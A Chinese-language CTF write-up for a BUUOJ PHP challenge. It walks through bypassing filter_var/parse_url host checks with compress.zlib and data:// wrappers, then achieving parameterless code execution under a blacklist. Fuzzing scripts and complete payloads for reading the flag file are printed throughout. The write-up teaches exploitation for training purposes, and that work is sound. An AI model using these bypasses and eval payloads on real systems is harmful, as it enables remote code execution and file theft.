簡介
原題復現:
考察知識點:無參數命令執行、繞過filter_var(), preg_match()
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
環境復現
目錄
www/flag flag文件 www/code/code.php
代碼

1 <?php 2 function is_valid_url($url) { 3 //FILTER_VALIDATE_URL 過濾器把值作為 URL 進行驗證。 4 if (filter_var($url, FILTER_VALIDATE_URL)) { 5 if (preg_match('/data:\/\//i', $url)) { 6 return false; 7 } 8 return true; 9 } 10 return false; 11 } 12 13 14 if (isset($_POST['url'])){ 15 $url = $_POST['url']; 16 if (is_valid_url($url)) { 17 $r = parse_url($url); 18 var_dump($r); 19 if (preg_match('/baidu\.com$/', $r['host'])) { 20 $code = file_get_contents($url); 21 var_dump($code); 22 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { 23 if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { 24 echo 'bye~'; 25 } else { 26 eval($code); 27 } 28 } 29 } else { 30 echo "error: host not allowed"; 31 } 32 } else { 33 echo "error: invalid url"; 34 } 35 }else{ 36 highlight_file(__FILE__); 37 }
審計分析
繞過URL過濾??
通過post傳入url值后顯示進行is_valid_url這個函數的驗證 函數使用了fileter_var()里面的FILTER_VALIDATE_URL這個過濾器來過濾url 為真后 又有一個preg_match正則的判斷 不能含有data:\\ 這個東西

到了第18行還有個過濾 將解析后的url的host部分進行正則匹配必須要baidu.com為結尾 才能匹配成功 我們把這里作為第一層先繞過

下來就到這一塊核心的地方了 考的是無參數RCE
25行的限制只能是a(b())的形式,同時稚嫩共包含字母
26行則限制了很多函數。。那些沒被限制我們可以fuzz下 我們把這里作為第二層繞過
fuzz學習
https://xz.aliyun.com/t/6737

繞過第一層
1.額外知識增加(如何繞過filter_var和parse_url)
data://偽協議的利用
如果沒有上面第5行的過濾data我們看如何繞過?
可以使用data://偽協議形式繞過
data://text/plain;base64,xxxx
parser_url會將text部分作為host 所以再進行驗證的時候就能繞過了 並且PHP對MIME不敏感,我們可以將一些東西注入到MIME中
data://baidu.com/plain;base64,xxxx
將代碼中的data://正則驗證注釋可測試
payload:
POST:url=data://baidu.com/plain,echo('1111') //string(12) "echo('1111')"
0://hua.com;baidu.com //可以繞過FILTER_VALIDATE_URL過濾器
參考學習來源
回到正題有data驗證怎么辦呢這時候上面的方法根本沒辦法用。
方法一:使用compress.zlib方式
payload
url=compress.zlib://data:@baidu.com/baidu.com?,echo('1111')
方法二:購買一個xxxbaidu.com的域名(未測試)
購買之后綁定到服務器上 再上傳文件下來步驟跟方法三一樣
方法三:百度網盤鏈接
(在這個程序過濾中不行!因為百度雲默認有空格 只能自己搭建服務了)
上傳1.php 找到下載鏈接打開1.php編輯從響應里面找。

環境測試
搭建測試環境要php.ini修改3個地方 我使用的kali linux2020不用修改默認 本機win10可能需要修改
extension=php_openssl.dll 開啟PHPssl擴展 allow_url_include = On 允許引入URL文件 allow_url_fopen = On 允許打開url文件
在linux服務環境下測試成功

windows環境搭建的服務因為post長度限制可能 發現打過去的post會被截斷部分導致失敗

方法四:使用ftp協議(未測試)
ftp://ip:port,baidu.com:80/filename.txt
方法五:百度的一個任意跳轉漏洞(未測試)
post.baidu.com
第二層正則繞過
第二層考點是無參數rce
fuzz學習
https://xz.aliyun.com/t/6737
獲取所有的php函數並保存文件為function.txt
<?php $a = get_defined_functions()['internal']; $file = fopen("function.txt","w+"); foreach ($a as $key ) { echo fputs($file,$key."\r\n"); } fclose($file); ?>
python 這樣就能得到那些php沒被過濾掉
import re f = open('function.txt','r') for i in f: function = re.findall(r'/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log',i) if function == [] and not '_' in i: print(i)
根據題目得到flag再上層目錄下 所有我們要構造讀取上層目錄下的文件
方法一 phpversion()
sqrt() : 返回一個數字的平方根 tan() : 返回一個數字的正切 cosh() : 返回一個數字的雙曲余弦 sinh() : 返回一個數字的雙曲正弦 ceil() : 返回不小於一個數字的下一個整數 , 也就是向上取整
一個點的ascii值 看wp大佬用數學函數寫了個腳本實現計算
<?php $list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin"); foreach($list as $a){ foreach($list as $b){ foreach($list as $c){ foreach($list as $d){ foreach($list as $e){ foreach($list as $f){ foreach($list as $g){ foreach($list as $h){ if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46) echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n"; }}}}}}}} ?>
這樣得到的部分payload解決了我們參數“.”的傳遞

最終payload:
url=compress.zlib://data:@baidu.com/baidu.com?,echo(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
參考學習:http://www.guildhab.top/?p=1077
https://xz.aliyun.com/t/6737
方法二 localtime()+localeconv()
分析一個師傅的payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
scandir() 列出目錄中的文件和目錄。 end() 將內部指針指向數組中的最后一個元素,並輸出。 readfile() 輸出一個文件 current() 返回數組當前單元
也就是說要這樣構造 但是這個題過濾了參數 怎么辦?
readfile(end(scandir('.')));
這個函數返回的第一個元素就是. 我們可以用current來獲取數組中的當前單元 但是這個被過濾了怎么辦?
localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。
我們可以使用current()函數的別名pos()函數 這樣返回的就是 “.”
pos(localeconv())
這個pyaload如果flag再當前目錄可用 但是原題flag不再當前目錄怎么辦?
readfile(end(scandir(pos(localeconv()))));
讀取當前目錄下的最后一個文件輸出到頁面上
因為flag再上層目錄 我們還需要chrdir() next來重新定義一下php當前目錄,再使用readfile來讀取文件
chdir()函數改變當前的目錄 next()函數將內部指針指向數組中的下一個元素,並輸出。 這里可以獲取到scandir()返回的".."
返回上一層payload
chdir(next(scandir(pos(localeconv()))));
返回上一層之后 我們想讀文件 但是改變目錄執行成功只返回一個1 所以我們需要再構造一個"." 來用上述方法來獲取flag 那怎么構造?可以用localtime()函數 來返回46 再用chr轉就成了"."
localtime(timestamp,is_assoc);取得本地時間 timestamp 可選,規定Unix時間戳 如未規定則默認time() is_assoc 可選 規定返回關聯數組還是索引數組 如果FALSE則返回索引 默認False
payload 每46秒的時候就會返回"."
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))
再和讀取文件方式組合一下的最終payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
參考學習:https://xz.aliyun.com/t/6316
方法三 if()
使用chdir()返回0和1 來用if判斷並執行后面的語句進行文件讀取
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));